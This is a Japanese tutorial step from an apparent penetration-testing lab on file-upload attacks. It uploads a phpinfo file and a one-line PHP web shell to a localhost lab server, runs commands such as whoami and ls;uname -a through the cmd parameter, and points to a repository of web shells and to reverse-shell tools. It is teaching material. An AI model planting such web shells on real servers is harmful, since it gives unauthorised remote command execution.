適切なウェブシェルのアップロード
皆さん、このステップでは実際に行動する時間です!ウェブシェルという特別なファイルをアップロードします。これはサーバーと対話するためのファイルで、訓練されたオウムをパーティーに忍び込ませて、サーバーの秘密を耳打ちしてくれるようなものです。私たちのパーティー……ええと、正確には実験(Lab)環境では PHP が使われているので、.php
のシェルファイルが必要です。
ウェブシェルがたくさん入った宝庫はここにあります。
https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/web-exploit-exp/fileupload/php
/home/labex/project
ディレクトリにあるシンプルな phpinfo.php
ファイルから始めましょう。これはサーバーに「おい、自分自身のことを全部教えて!」と聞くようなものです。作成とアップロードの方法は次の通りです。
<?php phpinfo();?>
http://localhost:82/upload/example1.php
という URL にアクセスしてファイルをアップロードできます。
アップロード後、次の URL でファイルにアクセスしてみましょう。
http://localhost:82/upload/images/phpinfo.php
次のような内容が表示されるはずです。
うまくいけば、たくさんの PHP の情報が表示されます。まるでサーバーが自分の人生の物語を全部話してくれたようなものです!
次に、/home/labex/project
ディレクトリにある .php
のワンライナーウェブシェル shell.php
を試してみましょう。
<?php echo "Shell"; system($_GET['cmd']);?>
この小さな PHP の魔法は、GET リクエストの cmd
パラメータを通じて渡されたシステムコマンドを実行します。
shell.php
をアップロードして、アクセスしてみましょう。
http://localhost:82/upload/images/shell.php
まだ cmd
パラメータを渡していないので、Warning
メッセージが表示されるかもしれません。まるでオウムが「おい、何を言うか教えてくれなかったよ!」と言っているようなものです。コマンドを渡してみましょう。
現在のユーザーが誰かを確認するには、次の URL を使います。
http://localhost:82/upload/images/shell.php?cmd=whoami
www-data
という出力が表示されるはずです。
また、オウムに詩を朗読させる(複数のコマンドを実行させる)こともできます。たとえば、現在のディレクトリのファイルを一覧表示し、オペレーティングシステムの情報を確認するには、次の URL を使います。
http://localhost:82/upload/images/shell.php?cmd=ls;uname%20-a
おめでとうございます!これでサーバーに秘密を教えさせることができました。
もし、さらに深く探求したい場合は、次のことができます。
nc
や bash
などのツールを使って、ローカルマシンにリバースシェルを取得する。
「Cknife」「AntSword」「Behinder」などのツールを使って、ウェブシェルを取得する。
取得したシェルが root ユーザーや管理者ユーザーでない場合は、権限昇格が必要になるかもしれない。詳細については、「Penetration Testing Methodology: Linux Privilege Escalation」コースを参照することができる。
ただし、これは「基礎編」のコースなので、これらのアドベンチャーはより上級なコースで楽しみましょう。今は、ファイルアップロードの攻撃が成功したことを祝いましょう!